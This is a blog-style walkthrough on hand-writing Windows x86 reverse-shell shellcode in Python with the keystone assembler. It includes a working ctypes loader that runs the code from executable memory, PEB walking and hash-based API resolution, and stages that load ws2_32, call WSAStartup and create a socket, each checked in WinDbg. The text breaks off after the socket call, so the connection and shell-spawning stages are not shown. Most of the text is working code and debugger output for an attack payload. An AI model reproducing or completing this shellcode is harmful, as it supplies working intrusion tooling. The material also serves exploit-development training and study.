Post

Windows x86 Custom Reverse Shellcode

How to write custom shellcode for Windows x86 OS. This walkthrough covers how to write a functional shellcode using the keystone framework and assembly with the help of cytpes.

Windows x86 Custom Reverse Shellcode

Windows x86 Custom Reverse Shell Walkthrough

What is a shellcode?

A shellcode is a set of CPU instructions meant to be executed after a vulnerability is successfully exploited. The term “shellcode” originally referred to the portion of an exploit used to spawn a root shell. While reverse shells are common, it’s important to understand that we can use shellcode in much more complex ways. In the following section, we will review the basics of writing a shellcode based on a startup template that we can use to write custom shellcode with different functions.

Startup Template


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import ctypes, struct
from keystone import *

CODE = (
    " start:                             "  #
    "   int3                            ;"  #   Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
    "   mov   ebp, esp                  ;"  #
    "   add   esp, 0xfffffdf0           ;"  #   Avoid NULL bytes
    " find_kernel32:                     "  #
    "   xor   ecx, ecx                  ;"  #   ECX = 0
    "   mov   esi,fs:[ecx+30h]          ;"  #   ESI = &(PEB) ([FS:0x30])
    "   mov   esi,[esi+0Ch]             ;"  #   ESI = PEB->Ldr
    "   mov   esi,[esi+1Ch]             ;"  #   ESI = PEB->Ldr.InInitOrder
    " next_module:                      "   #
    "   mov   ebx, [esi+8h]             ;"  #   EBX = InInitOrder[X].base_address
    "   mov   edi, [esi+20h]            ;"  #   EDI = InInitOrder[X].module_name
    "   mov   esi, [esi]                ;"  #   ESI = InInitOrder[X].flink (next)
    "   cmp   [edi+12*2], cx            ;"  #   (unicode) modulename[12] == 0x00?
    "   jne   next_module               ;"  #   No: try next module.
    " find_function_shorten:             "  #
    "   jmp find_function_shorten_bnc   ;"  #   Short jump
    " find_function_ret:                 "  #
    "   pop esi                         ;"  #   POP the return address from the stack
    "   mov   [ebp+0x04], esi           ;"  #   Save find_function address for later usage
    "   jmp resolve_symbols_kernel32    ;"  #
    " find_function_shorten_bnc:         "  #   
    "   call find_function_ret          ;"  #   Relative CALL with negative offset
    " find_function:                     "  #
    "   pushad                          ;"  #   Save all registers
                                            #   Base address of kernel32 is in EBX from 
                                            #   Previous step (find_kernel32)
    "   mov   eax, [ebx+0x3c]           ;"  #   Offset to PE Signature
    "   mov   edi, [ebx+eax+0x78]       ;"  #   Export Table Directory RVA
    "   add   edi, ebx                  ;"  #   Export Table Directory VMA
    "   mov   ecx, [edi+0x18]           ;"  #   NumberOfNames
    "   mov   eax, [edi+0x20]           ;"  #   AddressOfNames RVA
    "   add   eax, ebx                  ;"  #   AddressOfNames VMA
    "   mov   [ebp-4], eax              ;"  #   Save AddressOfNames VMA for later
    " find_function_loop:                "  #
    "   jecxz find_function_finished    ;"  #   Jump to the end if ECX is 0
    "   dec   ecx                       ;"  #   Decrement our names counter
    "   mov   eax, [ebp-4]              ;"  #   Restore AddressOfNames VMA
    "   mov   esi, [eax+ecx*4]          ;"  #   Get the RVA of the symbol name
    "   add   esi, ebx                  ;"  #   Set ESI to the VMA of the current symbol name
    " compute_hash:                      "  #
    "   xor   eax, eax                  ;"  #   NULL EAX
    "   cdq                             ;"  #   NULL EDX
    "   cld                             ;"  #   Clear direction
    " compute_hash_again:                "  #
    "   lodsb                           ;"  #   Load the next byte from esi into al
    "   test  al, al                    ;"  #   Check for NULL terminator
    "   jz    compute_hash_finished     ;"  #   If the ZF is set, we've hit the NULL term
    "   ror   edx, 0x0d                 ;"  #   Rotate edx 13 bits to the right
    "   add   edx, eax                  ;"  #   Add the new byte to the accumulator
    "   jmp   compute_hash_again        ;"  #   Next iteration
    " compute_hash_finished:             "  #
    " find_function_compare:             "  #
    "   cmp   edx, [esp+0x24]           ;"  #   Compare the computed hash with the requested hash
    "   jnz   find_function_loop        ;"  #   If it doesn't match go back to find_function_loop
    "   mov   edx, [edi+0x24]           ;"  #   AddressOfNameOrdinals RVA
    "   add   edx, ebx                  ;"  #   AddressOfNameOrdinals VMA
    "   mov   cx,  [edx+2*ecx]          ;"  #   Extrapolate the function's ordinal
    "   mov   edx, [edi+0x1c]           ;"  #   AddressOfFunctions RVA
    "   add   edx, ebx                  ;"  #   AddressOfFunctions VMA
    "   mov   eax, [edx+4*ecx]          ;"  #   Get the function RVA
    "   add   eax, ebx                  ;"  #   Get the function VMA
    "   mov   [esp+0x1c], eax           ;"  #   Overwrite stack version of eax from pushad
    " find_function_finished:            "  #
    "   popad                           ;"  #   Restore registers
    "   ret                             ;"  #
    " resolve_symbols_kernel32:          "
    "   push  0x78b5b983                ;"  #   TerminateProcess hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x10], eax           ;"  #   Save TerminateProcess address for later usage
    " exec_shellcode:                    "  #
    "   xor   ecx, ecx                  ;"  #   Null ECX
    "   push  ecx                       ;"  #   uExitCode
    "   push  0xffffffff                ;"  #   hProcess
    "   call dword ptr [ebp+0x10]       ;"  #   Call TerminateProcess
)

# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

Assembly Instructions Breakdown

Initialization


1
2
3
4
start:                            ; Start of the shellcode
    int3                          ; Breakpoint for debugging (Windbg)
    mov   ebp, esp                ; Set up stack frame
    add   esp, 0xfffffdf0         ; Adjust stack pointer to avoid NULL bytes
  • int3: This instruction is a breakpoint used during debugging. It should be removed after testing/development.
  • mov ebp, esp: Initializes the base pointer (EBP) to the current stack pointer (ESP), establishing a new stack frame.
  • add esp, 0xfffffdf0: Adjusts the stack pointer to avoid NULL bytes, which can cause issues in memory allocation.

Finding kernel32


1
2
3
4
5
find_kernel32:                    ; Label for finding the kernel32 module
    xor   ecx, ecx                ; Clear ECX (set to 0)
    mov   esi, fs:[ecx+30h]       ; Load PEB (Process Environment Block) address
    mov   esi, [esi+0Ch]          ; Load the Loader data structure
    mov   esi, [esi+1Ch]          ; Load the InInitOrder list
  • xor ecx, ecx: Clears ECX register (sets it to 0).
  • mov esi, fs:[ecx+30h]: Accesses the PEB, which contains information about the current process.
  • mov esi, [esi+0Ch]: Retrieves the address of the loader data structure.
  • mov esi, [esi+1Ch]: Gets the head of the linked list of loaded modules.

Module


1
2
3
4
5
6
next_module:                      ; Label for the next module in the list
    mov   ebx, [esi+8h]           ; Get base address of the current module
    mov   edi, [esi+20h]          ; Get the module name (RVA)
    mov   esi, [esi]              ; Move to the next module in the list
    cmp   [edi+12*2], cx          ; Check if the module name is NULL (end of string)
    jne   next_module             ; If not NULL, continue to next module
  • mov ebx, [esi+8h]: EBX now holds the base address of the current module.
  • mov edi, [esi+20h]: EDI gets the address of the module name.
  • mov esi, [esi]: Updates ESI to point to the next module in the list.
  • cmp [edi+12*2], cx: Checks if the 12th byte of the module name is NULL, indicating the end of the string.
  • jne next_module: If not NULL, it continues searching through the module list.

Finding Function by


1
2
3
4
5
6
find_function_shorten:             ; Label for finding function
    jmp find_function_shorten_bnc  ; Short jump to the next label
find_function_ret:                 ; Label for returning from function search
    pop esi                        ; Retrieve return address from stack
    mov   [ebp+0x04], esi          ; Store the find_function address
    jmp resolve_symbols_kernel32   ; Jump to resolve symbols
  • jmp find_function_shorten_bnc: Jumps to the next label for a short call.
  • pop esi: Pops the return address into ESI.
  • mov [ebp+0x04], esi: Saves the address of the function that will be called later.

Function


1
2
3
4
5
6
7
8
9
10
11
find_function_shorten_bnc:         ; Label for the short function search
    call find_function_ret         ; Calls the return label
find_function:                     ; Label for the actual function lookup
    pushad                         ; Save all registers
    mov   eax, [ebx+0x3c]          ; Get PE signature offset
    mov   edi, [ebx+eax+0x78]      ; Get the Export Table Directory RVA
    add   edi, ebx                 ; Convert to VMA
    mov   ecx, [edi+0x18]          ; Get number of names
    mov   eax, [edi+0x20]          ; Get AddressOfNames RVA
    add   eax, ebx                 ; Convert to VMA
    mov   [ebp-4], eax             ; Store AddressOfNames VMA
  • pushad: Saves all general-purpose registers.
  • mov eax, [ebx+0x3c]: Retrieves the offset to the PE signature.
  • mov edi, [ebx+eax+0x78]: Gets the RVA of the Export Table Directory.
  • add edi, ebx: Converts the RVA to a Virtual Memory Address (VMA).
  • mov ecx, [edi+0x18]: Loads the number of exported names.
  • mov eax, [edi+0x20]: Retrieves the RVA of the AddressOfNames.
  • add eax, ebx: Converts the RVA to VMA and stores it for later use.

Loop to Find


1
2
3
4
5
6
find_function_loop:                ; Label for looping through function names
    jecxz find_function_finished   ; Jump if ECX is zero (no more names)
    dec   ecx                      ; Decrement number of names
    mov   eax, [ebp-4]             ; Restore AddressOfNames VMA
    mov   esi, [eax+ecx*4]         ; Get RVA of the symbol name
    add   esi, ebx                 ; Convert to VMA
  • jecxz find_function_finished: If ECX is zero (no names left), jump to finish.
  • dec ecx: Decrease the count of function names.
  • mov eax, [ebp-4]: Restores the AddressOfNames.
  • mov esi, [eax+ecx*4]: Gets the RVA of the current symbol name.
  • add esi, ebx: Converts to VMA of the current symbol name.

Compute Hash for


1
2
3
4
5
6
7
8
9
10
11
compute_hash:                      ; Label for computing hash
    xor   eax, eax                 ; Clear EAX
    cdq                            ; Clear EDX
    cld                            ; Clear direction flag
compute_hash_again:                ; Loop label for hashing
    lodsb                          ; Load byte from ESI into AL
    test  al, al                   ; Check for NULL terminator
    jz    compute_hash_finished    ; If NULL, finish hashing
    ror   edx, 0x0d                ; Rotate EDX right by 13 bits
    add   edx, eax                 ; Add byte to the hash accumulator
    jmp   compute_hash_again       ; Repeat
  • xor eax, eax: Clears the EAX register.
  • cdq: Extends EAX into EDX, setting it to zero.
  • cld: Clears the direction flag (ensures string operations go forward).
  • lodsb: Loads the next byte from the address in ESI into AL.
  • test al, al: Checks if this byte is NULL.
  • ror edx, 0x0d: Rotates EDX right by 13 bits.
  • add edx, eax: Adds the current byte to the accumulated hash.
  • jmp compute_hash_again: Continues hashing until a NULL byte is found.

Compare Hash and Resolve


1
2
3
4
5
6
7
8
9
10
11
12
compute_hash_finished:             ; Label for finishing hash computation
find_function_compare:             ; Label for comparing hashes
    cmp   edx, [esp+0x24]          ; Compare computed hash with the desired hash
    jnz   find_function_loop       ; If not equal, loop back
    mov   edx, [edi+0x24]          ; Get AddressOfNameOrdinals RVA
    add   edx, ebx                 ; Convert to VMA
    mov   cx,  [edx+2*ecx]         ; Get function's ordinal
    mov   edx, [edi+0x1c]          ; Get AddressOfFunctions RVA
    add   edx, ebx                 ; Convert to VMA
    mov   eax, [edx+4*ecx]         ; Get function RVA
    add   eax, ebx                 ; Convert to VMA
    mov   [esp+0x1c], eax          ; Update stack version of EAX
  • cmp edx, [esp+0x24]: Compares the computed hash with the expected hash.
  • jnz find_function_loop: If they don’t match, go back to find another function.
  • mov edx, [edi+0x24]: Gets the RVA for the ordinal numbers of the functions.
  • add edx, ebx: Converts to VMA.
  • mov cx, [edx+2*ecx]: Extracts the function’s ordinal.
  • mov edx, [edi+0x1c]: Gets the RVA for the functions’ addresses.
  • add edx, ebx: Converts to VMA.
  • mov eax, [edx+4*ecx]: Retrieves the RVA of the function.
  • add eax, ebx: Converts to VMA, and updates the stack.

Finish Function


1
2
3
find_function_finished:            ; Label for finishing function lookup
    popad                          ; Restore all registers
    ret                            ; Return from the function
  • popad: Restores all previously saved registers.
  • ret: Returns control to the calling function.

Resolving


1
2
3
4
resolve_symbols_kernel32:          ; Label for resolving symbols in kernel32
    push  0x78b5b983               ; Push the hash for TerminateProcess
    call dword ptr [ebp+0x04]      ; Call find_function to get the address
    mov   [ebp+0x10], eax          ; Store the address of TerminateProcess
  • push 0x78b5b983: Pushes the hash of the TerminateProcess function.
  • call dword ptr [ebp+0x04]: Calls the previously stored function address to find the actual function.
  • mov [ebp+0x10], eax: Saves the address of TerminateProcess for later use.

Executing


1
2
3
4
5
exec_shellcode:                    ; Label for executing the shellcode
    xor   ecx, ecx                 ; Clear ECX (set to 0)
    push  ecx                      ; Push exit code
    push  0xffffffff               ; Push process handle
    call dword ptr [ebp+0x10]      ; Call TerminateProcess
  • xor ecx, ecx: Clears ECX, setting it to 0 (exit code).
  • push ecx: Pushes the exit code onto the stack.
  • push 0xffffffff: Pushes the handle for the process to terminate.
  • call dword ptr [ebp+0x10]: Calls TerminateProcess to execute the termination.

The following instructions setup the environment on the stack, locate the kernel32 module and its using the Export Directory Table (EDT). Then computes the hash for function names to find specific functions dynamically. Finally, it safely terminates by calling the TerminiateProcess function whose address was located using it’s hash by traversing through the EDT; specifically AddressOfNames. With all the building blocks of a shellcode in place, we can choose the shellcode’s purpose. In this case, we are going to create a reverse shell.

Reverse Shell

The current shellcode template can already resolve symbols from kernel32.dll, so our first step is to resolve the CreateProcessA API (which is exported by kernel32.dll) and store the address for later use. Next, we need to load ws2_32.dll into the shellcode memory space and obtain its base address. Both of these tasks can be achieved using LoadLibraryA, which is exported by kernel32.dll. In order to resolve symbols from ws2_32.dll, we could use the GetProcAddress API from kernel32.dll. However, we can simply reuse the functions that we have implemented previously. The only requirement is that the base address of the module needs to be in the EBX register, so that relative virtual addresses can be translated to virtual memory addresses. Let’s modify the current shellcode to load ws2_32.dll and resolve the required symbols for our reverse shell:

1
2
3
4
5
6
    "   push  0xec0e4e8e                ;"  #   LoadLibraryA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x14], eax           ;"  #   Save LoadLibraryA address for later usage
    "   push  0x16b3fe72                ;"  #   CreateProcessA hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x18], eax           ;"  #   Save CreateProcessA address for later usage

The updated shellcode resolves the remaining two symbols we need from kernel32.dll, LoadLibraryA and CreateProcessA, as part of the resolve_symbols_kernel32 function. Next, we need to set up the call to LoadLibraryA.

1
2
3
4
5
6
7
8
    " load_ws2_32:                       "  #
    "   xor   eax, eax                  ;"  #   Null EAX
    "   mov   ax, 0x6c6c                ;"  #   Move the end of the string in AX
    "   push  eax                       ;"  #   Push EAX on the stack with string NULL terminator
    "   push  0x642e3233                ;"  #   Push part of the string on the stack
    "   push  0x5f327377                ;"  #   Push another part of the string on the stack
    "   push  esp                       ;"  #   Push ESP to have a pointer to the string
    "   call dword ptr [ebp+0x14]       ;"  #   Call LoadLibraryA

We’ll start by setting EAX to NULL. Then, we move the end of the ws2_32.dll string to the AX register and push it to the stack. This ensures that our string will be NULL terminated, while avoiding NULL bytes in our shellcode. After two more PUSH instructions, the entire string is pushed to the stack. The following instruction pushes the stack pointer (ESP) to the stack. This is necessary because LoadLibraryA requires a pointer to the string that is currently located on the stack. Finally, we call LoadLibraryA and proceed into the resolve_symbols_ws2_32 function.

1
2
3
4
5
    " resolve_symbols_ws2_32:            "
    "   mov   ebx, eax                  ;"  #   Move the base address of ws2_32.dll to EBX
    "   push  0x3bfcedcb                ;"  #   WSAStartup hash
    "   call dword ptr [ebp+0x04]       ;"  #   Call find_function
    "   mov   [ebp+0x1C], eax           ;"  #   Save WSAStartup address for later usage

This function reuses our find_function implementation to resolve symbols from ws2_32.dll. But first, we need to set the EBX register to the base address of ws2_32.dll. The return value of LoadLibraryA is a handle to the module specified as an argument. This handle comes in the form of the base address of the module. If the call to LoadLibraryA is successful, then we should have the base address of ws2_32.dll in the EAX register, allowing us to move it to EBX using a simple MOV instruction: With the base address of ws2_32.dll in EBX, we push the individual hashes for every required symbol. In our case, we start with WSAStartup and call find_function to resolve them. Let’s run our updated shellcode to confirm it works inside our debugger. After hitting our INT3 instruction, we will set up a breakpoint right at the beginning of load_ws2_32 and resume the execution flow.

1
2
3
4
5
6
7
8
9
10
11
12
(e30.1ff8): Break instruction exception - code 80000003 (first chance)
eax=5322418b ebx=00000000 ecx=02c40000 edx=02c40000 esi=02c40000 edi=02c40000
eip=02c40000 esp=0340f7d4 ebp=0340f7e4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02c40000 cc              int     3
0:005> bp 02c400a0
0:005> g
Breakpoint 0 hit
eax=777365a0 ebx=77710000 ecx=00000000 edx=02c40000 esi=02c40030 edi=00e822b8
eip=02c400a0 esp=0340f5b8 ebp=0340f7d4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
02c400a0 31c0            xor     eax,eax

We proceed to single step through the instructions until we reach the call to LoadLibraryA. Before stepping over the call, let’s verify the first argument pushed on the stack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:005> t
eax=00006c6c ebx=77710000 ecx=00000000 edx=02c40000 esi=02c40030 edi=00e822b8
eip=02c400b2 esp=0340f5a8 ebp=0340f7d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02c400b2 ff5514          call    dword ptr [ebp+14h]  ss:0023:0340f7e8={KERNEL32!LoadLibraryAStub (77738b20)}
0:005> da poi(esp)
0340f5ac  "ws2_32.dll"
0:005> p
eax=75880000 ebx=77710000 ecx=00000000 edx=007e0938 esi=02c40030 edi=00e822b8
eip=02c400b5 esp=0340f5ac ebp=0340f7d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02c400b5 89c3            mov     ebx,eax
0:005> r @eax
eax=75880000
0:005> lm m ws2_32
Browse full module list
start    end        module name
75880000 758e6000   WS2_32     (deferred)     

The output above shows that our argument is set up correctly before the call to LoadLibraryA. After we step over the call, we’ll notice that ws2_32.dll is now loaded in the memory space of our shellcode, and EAX contains its base address. Finally, we need to ensure that our find_function implementation works with ws2_32.dll. Let’s step through the assembly instructions to reach the PUSH instruction that places the hash for WSAStartup on the stack, and then call find_function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:003> t
eax=75880000 ebx=75880000 ecx=00000000 edx=005f0938 esi=02590030 edi=006922b8
eip=025900b7 esp=0297fb54 ebp=0297fd7c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
025900b7 68cbedfc3b      push    3BFCEDCBh
0:003> t
eax=75880000 ebx=75880000 ecx=00000000 edx=005f0938 esi=02590030 edi=006922b8
eip=025900bc esp=0297fb50 ebp=0297fd7c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
025900bc ff5504          call    dword ptr [ebp+4]    ss:0023:0297fd80=02590030
0:003> p
eax=75885e00 ebx=75880000 ecx=00000000 edx=005f0938 esi=02590030 edi=006922b8
eip=025900bf esp=0297fb50 ebp=0297fd7c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
025900bf 89451c          mov     dword ptr [ebp+1Ch],eax ss:0023:0297fd98=05ea4304
0:003> u @eax
WS2_32!WSAStartup:
75885e00 8bff            mov     edi,edi
75885e02 55              push    ebp
75885e03 8bec            mov     ebp,esp
75885e05 6afe            push    0FFFFFFFEh
75885e07 68d85c8c75      push    offset WS2_32!WSCWriteNameSpaceOrder+0x2d78 (758c5cd8)
75885e0c 6860a58975      push    offset WS2_32!GetAddrInfoExCancel+0x1a0 (7589a560)
75885e11 64a100000000    mov     eax,dword ptr fs:[00000000h]
75885e17 50              push    eax

After resolving all the required symbols for our shellcode, our next step is calling one API at a time to obtain a reverse shell. The first API we need to call is WSAStartup to initiate the use of the Winsock DLL by our shellcode. Let’s inspect the function prototype.

1
2
3
4
int WSAStartup(
  WORD      wVersionRequired,
  LPWSADATA lpWSAData
);

The first parameter appears to be the version of the Windows Sockets specification. We’ll set this parameter to “2.2”. We can learn more about other available versions from the official documentation. The second parameter is a pointer to the WSADATA structure. According to Microsoft, this structure will receive details about the Windows Sockets implementation. We need to reserve space for this structure, so let’s discover its length by going over its prototype and inspecting the size of each structure member.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
typedef struct WSAData {
  WORD           wVersion;
  WORD           wHighVersion;
#if ...
  unsigned short iMaxSockets;
#if ...
  unsigned short iMaxUdpDg;
#if ...
  char           *lpVendorInfo;
#if ...
  char           szDescription[WSADESCRIPTION_LEN + 1];
#if ...
  char           szSystemStatus[WSASYS_STATUS_LEN + 1];
#else
  char           szDescription[WSADESCRIPTION_LEN + 1];
#endif
#else
  char           szSystemStatus[WSASYS_STATUS_LEN + 1];
#endif
#else
  unsigned short iMaxSockets;
#endif
#else
  unsigned short iMaxUdpDg;
#endif
#else
  char           *lpVendorInfo;
#endif
} WSADATA;

Reviewing the structure definition and information on the Microsoft website, we note that some of the members are no longer used if the version is higher than “2.0”. While most of the fields have defined lengths, there are a couple that remain problematic such as the szDescription and szSystemStatus fields. According to the official documentation, szDescription can have a maximum length of 257 (WSADESCRIPTION_LEN, which is 256 plus the string NULL terminator). Unfortunately, there is no mention of the length of the szSystemStatus field. There are two ways to determine the length of this field. We could code the socket in C and then inspect the structure inside WinDbg, or we could use online resources to determine the size of this field. One of the most reliable resources for such information is the source code of ReactOS. ReactOS is an open-source operating system designed to run Windows software and drivers. It uses a large number of structures that come from reverse-engineering older versions of the Windows operating system. The source code of ReactOS tells us that the maximum length of the szSystemStatus field is 129 (WSASYS_STATUS_LEN, which is 128 plus the NULL terminator). While we do not know the exact size of the structure, we do know that just these two fields (szDescription and szSystemStatus) can occupy a maximum of 0x182 bytes. Taking into account the other fields of the structure, which have defined sizes, we can calculate the maximum length of the structure using WinDbg.

1
2
0:003> ? 0x2 + 0x2 + 0x2 + 0x2 + 0x4 + 0n256 + 0n1 + 0n128 + 0n1
Evaluate expression: 398 = 0000018e

Because the size of this structure is larger than the space we currently reserved on the stack as part of the start function, we need to modify our shellcode and subtract a higher value from ESP to account for the structure’s size. After going over the arguments we need to supply to the WSAStartup API and determining the size of the structure it uses, let’s update our shellcode and attempt to call it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import ctypes, struct
from keystone import *

CODE = (
    " start:                             "  #
    "   int3                            ;"  #   Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
    "   mov   ebp, esp                  ;"  #
    "   add   esp, 0xfffff9f0           ;"  #   Avoid NULL bytes
...
    " call_wsastartup:                   "  #
    "   mov   eax, esp                  ;"  #   Move ESP to EAX
    "   mov   cx, 0x590                 ;"  #   Move 0x590 to CX
    "   sub   eax, ecx                  ;"  #   Subtract CX from EAX to avoid overwriting the structure later
    "   push  eax                       ;"  #   Push lpWSAData
    "   xor   eax, eax                  ;"  #   Null EAX
    "   mov   ax, 0x0202                ;"  #   Move version to AX
    "   push  eax                       ;"  #   Push wVersionRequired
    "   call dword ptr [ebp+0x1C]       ;"  #   Call WSAStartup
)

The call_wsastartup function shown above begins by moving the memory address from ESP, which we used as a storage location for our resolved symbols, to the EAX register. Next we encounter a MOV instruction that stores the 0x590 value in the CX register. Then, we’ll find a SUB instruction that will subtract the value of ECX (0x590) from EAX, which stores the stack pointer. As part of the call to WSAStartup, the API will populate the WSADATA structure that is currently on the stack. Because of this, we need to ensure that later shellcode instructions do not overwrite the contents of this structure. One way of achieving this is by subtracting an arbitrary value (0x590) from the stack pointer and using that as storage for the structure. After the SUB operation, we’ll push EAX to the stack. The next XOR instruction will zero out EAX and we will move the 0x0202 value to the AX register to act as the wVersionRequired argument. Finally, we can push this argument to the stack and call WSAStartup. Let’s run the shellcode, single step through the call_wsastartup function inside WinDbg, and verify the return code after our call to WSAStartup.

1
2
3
4
5
6
7
8
9
10
11
12
13
0:005> r
eax=00000202 ebx=75880000 ecx=00000590 edx=007c0938 esi=00e50030 edi=00e622b8
eip=00e500d2 esp=0340f200 ebp=0340f834 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00e500d2 ff551c          call    dword ptr [ebp+1Ch]  ss:0023:0340f850={WS2_32!WSAStartup (75885e00)}
0:005> dds @esp L2
0340f200  00000202
0340f204  0340ec78
0:005> p
eax=00000000 ebx=75880000 ecx=1bf1bc17 edx=00000202 esi=00e50030 edi=00e622b8
eip=00e500d5 esp=0340f208 ebp=0340f834 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00e500d5 31c9            xor     ecx,ecx

The output shows us that the return value of the function stored in EAX is 0, which indicates a successful call according to the official documentation. We’ve now initiated the Winsock DLL, so we can continue with the remaining API calls. We now need to invoke the WSASocketA API, which is responsible for creating the socket. Once again, let’s review the function prototype.

1
2
3
4
5
6
7
8
SOCKET WSAAPI WSASocketA(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

The prototype of this function above reveals there are six arguments required for the call. Most of these arguments have familiar data types such as INT and DWORD, but we’ll also find some odd data types within the lpProtocolInfo and g parameters that require additional review. We want to determine what arguments are needed by the function in our shellcode, so let’s tackle each parameter in order. We’ll start with the af parameter, which is the address family used by the socket. The official documentation mentions which common address families are supported by the API. Exploring the list, we’ll find that AF_INET (2) corresponds to the IPv4 address family. This is what our reverse shell will use.

The next parameter, type, specifies the socket type as its name implies. Again, the official documentation offers a list of possible values for this parameter. Our reverse shell will be going over the Transmission Control Protocol (TCP), so we need to supply the SOCK_STREAM (1) argument for the socket type. According to the official documentation, the protocol parameter is based on the previous two arguments supplied to the function. In our case, it needs to be set to IPPROTO_TCP (6). Continuing to review the official documentation, the lpProtocolInfo parameter seems to require a pointer to the WSAPROTOCOL_INFO structure. Before we dive into this structure, it is important to note that this parameter can be set to NULL (0x0). If set to null, Winsock will use the first transport-service provider, which matches our other parameters. Because we are using standard protocols in our reverse shell (TCP/IP), we should not encounter any issues by having this parameter NULL.

Next, we have the g parameter. This parameter is used for specifying a socket group ID. Since we are creating a single socket, we can set this value to NULL as well. Finally, we reach the dwFlags parameter, which is used to specify additional socket attributes. Because we do not require any additional attributes for our current shellcode, we will also set this value to NULL. Now that we’re more familiar with the arguments we need to set up and pass to the API, let’s implement this function call in our shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
    " call_wsasocketa:                   "  #
    "   xor   eax, eax                  ;"  #   Null EAX
    "   push  eax                       ;"  #   Push dwFlags
    "   push  eax                       ;"  #   Push g
    "   push  eax                       ;"  #   Push lpProtocolInfo
    "   mov   al, 0x06                  ;"  #   Move AL, IPPROTO_TCP
    "   push  eax                       ;"  #   Push protocol
    "   sub   al, 0x05                  ;"  #   Subtract 0x05 from AL, AL = 0x01
    "   push  eax                       ;"  #   Push type
    "   inc   eax                       ;"  #   Increase EAX, EAX = 0x02
    "   push  eax                       ;"  #   Push af
    "   call dword ptr [ebp+0x20]       ;"  #   Call WSASocketA

The code from above starts by zeroing out EAX, and then pushing it on the stack three times. We push this value because the last three parameters of this API are set to NULL. We then move the value 0x06 into the AL register and push it onto the stack. We pass this value as the protocol argument of IPPROTO_TCP (6). This is followed by a SUB instruction, which subtracts the value 0x05 from AL. The value in AL becomes 0x01, matching the SOCK_STREAM (1) value that we want to pass as the type argument. We can then push that onto the stack. The address family (af) argument must be set to AF_INET (2). We’ll use the INC instruction on the EAX register, which currently contains the value 0x01, to increase the value by one and push it to the stack. Let’s run our updated proof of concept. After hitting our INT3 instruction, we set a breakpoint on the CALL to WSASocketA. After hitting our breakpoint, we’ll step over the function and inspect the return value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0:003> bp 00a800ed
0:003> bl
     0 e Disable Clear  00a800ed     0001 (0001)  0:**** 
0:003> g
Breakpoint 0 hit
eax=00000002 ebx=75880000 ecx=542fdbee edx=00000202 esi=00a80030 edi=008822b8
eip=00a800ed esp=02bcf38c ebp=02bcf9d4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
00a800ed ff5520          call    dword ptr [ebp+20h]  ss:0023:02bcf9f4={WS2_32!WSASocketA (758999f0)}
0:003> dds @esp L6
02bcf38c  00000002
02bcf390  00000001
02bcf394  00000006
02bcf398  00000000
02bcf39c  00000000
02bcf3a0  00000000
0:003> p
ModLoad: 73b90000 73be8000   C:\Windows\system32\mswsock.dll
eax=00000210 ebx=75880000 ecx=542fdbee edx=00000001 esi=00a80030 edi=008822b8
